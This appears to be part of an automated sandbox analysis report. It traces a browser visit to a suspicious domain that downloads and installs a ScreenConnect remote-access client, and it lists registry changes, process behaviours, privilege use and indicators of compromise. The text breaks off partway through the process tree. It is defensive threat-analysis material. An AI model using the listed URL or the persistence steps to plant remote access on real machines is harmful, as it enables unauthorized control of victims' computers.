Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4375edbfb991f8ab\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-9C21-76ADA82F3820}\ = "ScreenConnect Client (4375edbfb991f8ab) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Downloads"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\colorcpl.exe,-6#immutable1 = "Color Management"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\FFlags = "18874369"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\colorcpl.exe,-7#immutable1 = "Change advanced color management settings for displays, scanners, and printers."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByKey:PID = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\Rev = "0"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\netcenter.dll,-1#immutable1 = "Network and Sharing Center"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.6.5.9742\\4375edbfb991f8ab\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\recovery.dll,-101#immutable1 = "Recovery"	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2091445952-3649787497-104050984-1000\{6554D847-2D5D-44C7-A585-0BF6AC0AD2D3}	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\usercpl.dll,-2#immutable1 = "Change user account settings and passwords for people who share this computer."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\main.cpl,-103#immutable1 = "Customize your keyboard settings, such as the cursor blink rate and the character repeat rate."	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.6.5.9742\\4375edbfb991f8ab\\"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe10000000ce564956ff41dd010e83cfe10642dd0106c9247dc365dd0114000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\intl.cpl,-2#immutable1 = "Customize settings for the display of languages, numbers, times, and dates."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\mmsys.cpl,-301#immutable1 = "Configure your audio devices or change the sound scheme for your computer."	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\IconSize = "48"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4375edbfb991f8ab	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4375edbfb991f8ab\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (4375edbfb991f8ab)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\Clients = 3a0000000000	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\main.cpl,-101#immutable1 = "Customize your mouse settings, such as the button configuration, double-click speed, mouse pointers, and motion speed."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\appwiz.cpl,-160#immutable1 = "Uninstall or change programs on your computer."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\inetcpl.cpl,-4312#immutable1 = "Internet Options"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sdcpl.dll,-100#immutable1 = "Recover copies of your files backed up in Windows 7"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\Version = "436600837"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\systemcpl.dll,-2#immutable1 = "View information about your computer, and change settings for hardware, performance, and remote connections."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\timedate.cpl,-51#immutable1 = "Date and Time"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\mmsys.cpl,-300#immutable1 = "Sound"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C527AECFDB1704CEC82C963A252A6F45\AdvertiseFlags = "388"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\DeviceCenter.dll,-1000#immutable1 = "Devices and Printers"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\Vid = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\IconSize = "48"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4375edbfb991f8ab\shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\appwiz.cpl,-159#immutable1 = "Programs and Features"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\systemcpl.dll,-1#immutable1 = "System"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\fhcpl.dll,-52#immutable1 = "File History"	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
908	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
4208	msiexec.exe
4208	msiexec.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
3820	ScreenConnect.ClientService.exe
4352	chrome.exe
4352	chrome.exe
4208	msiexec.exe
4208	msiexec.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
908	explorer.exe
6096	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe
Token: SeShutdownPrivilege	1404	chrome.exe
Token: SeCreatePagefilePrivilege	1404	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
4304	msiexec.exe
4304	msiexec.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
5096	msiexec.exe
5096	msiexec.exe
908	explorer.exe
908	explorer.exe
908	explorer.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
2216	ScreenConnect.WindowsClient.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe
6096	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
228	chrome.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 5732	1404	chrome.exe	84
PID 1404 wrote to memory of 3452	1404	chrome.exe	85
PID 1404 wrote to memory of 3452	1404	chrome.exe	85
PID 1404 wrote to memory of 4644	1404	chrome.exe	86
PID 1404 wrote to memory of 2828	1404	chrome.exe	87
PID 1404 wrote to memory of 2828	1404	chrome.exe	87
PID 1404 wrote to memory of 3344	1404	chrome.exe	89
PID 1404 wrote to memory of 2504	1404	chrome.exe	90
PID 1404 wrote to memory of 3344	1404	chrome.exe	89
PID 1404 wrote to memory of 2504	1404	chrome.exe	90
PID 1404 wrote to memory of 5300	1404	chrome.exe	91
PID 1404 wrote to memory of 5300	1404	chrome.exe	91
PID 1404 wrote to memory of 1316	1404	chrome.exe	96
PID 1404 wrote to memory of 3468	1404	chrome.exe	102
PID 1404 wrote to memory of 3244	1404	chrome.exe	105
PID 1404 wrote to memory of 4228	1404	chrome.exe	106
PID 1404 wrote to memory of 5020	1404	chrome.exe	107
PID 5436 wrote to memory of 4304	5436	ScreenConnect.ClientSetup.exe	114
PID 4208 wrote to memory of 4756	4208	msiexec.exe	117
PID 4756 wrote to memory of 3328	4756	MsiExec.exe	118
PID 4756 wrote to memory of 4936	4756	MsiExec.exe	119
PID 4756 wrote to memory of 1668	4756	MsiExec.exe	121
PID 1404 wrote to memory of 2720	1404	chrome.exe	125
PID 1404 wrote to memory of 2720	1404	chrome.exe	125
PID 1404 wrote to memory of 3796	1404	chrome.exe	126
PID 1404 wrote to memory of 3796	1404	chrome.exe	126
PID 1404 wrote to memory of 5072	1404	chrome.exe	128
PID 1404 wrote to memory of 5072	1404	chrome.exe	128
PID 4208 wrote to memory of 5208	4208	msiexec.exe	131
PID 4208 wrote to memory of 2668	4208	msiexec.exe	133
PID 4208 wrote to memory of 228	4208	msiexec.exe	148
PID 1404 wrote to memory of 5816	1404	chrome.exe	136
PID 1404 wrote to memory of 5816	1404	chrome.exe	136
PID 1404 wrote to memory of 2644	1404	chrome.exe	137
PID 1404 wrote to memory of 4264	1404	chrome.exe	138
PID 1404 wrote to memory of 2644	1404	chrome.exe	137
PID 3820 wrote to memory of 2216	3820	ScreenConnect.ClientService.exe	139
PID 3820 wrote to memory of 1272	3820	ScreenConnect.ClientService.exe	142
PID 1404 wrote to memory of 3100	1404	chrome.exe	145
PID 1404 wrote to memory of 3100	1404	chrome.exe	145
PID 1404 wrote to memory of 3668	1404	chrome.exe	146
PID 1404 wrote to memory of 3668	1404	chrome.exe	146
PID 1404 wrote to memory of 2180	1404	chrome.exe	147
PID 1404 wrote to memory of 2180	1404	chrome.exe	147
PID 1404 wrote to memory of 228	1404	chrome.exe	148
PID 1404 wrote to memory of 4352	1404	chrome.exe	150
PID 996 wrote to memory of 5096	996	ScreenConnect.ClientSetup.exe	152
PID 4208 wrote to memory of 1628	4208	msiexec.exe	153
PID 1628 wrote to memory of 2512	1628	MsiExec.exe	154
PID 1628 wrote to memory of 5844	1628	MsiExec.exe	155
PID 1628 wrote to memory of 2088	1628	MsiExec.exe	157
PID 4208 wrote to memory of 2156	4208	msiexec.exe	158
PID 1404 wrote to memory of 2080	1404	chrome.exe	170
PID 1404 wrote to memory of 2080	1404	chrome.exe	170

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://adsdff.icu/d
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff93d35c728,0x7ff93d35c734,0x7ff93d35c740
  2⤵
  PID:5732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,11658497173137440218,8323841027202322072,262144 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1996 /prefetch:2
  2⤵
  PID:3452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1816,i,10486624434347653117,15253994366235753482,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2252 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:4644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2364,i,12012969871906144867,542041216597801748,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2376 /prefetch:8
  2⤵
  PID:2828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3168,i,11689392021187214726,6952942573447886105,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3180 /prefetch:1
  2⤵
  PID:3344
- C:\Program Files\Google\Chrome\Application\chrome.exe
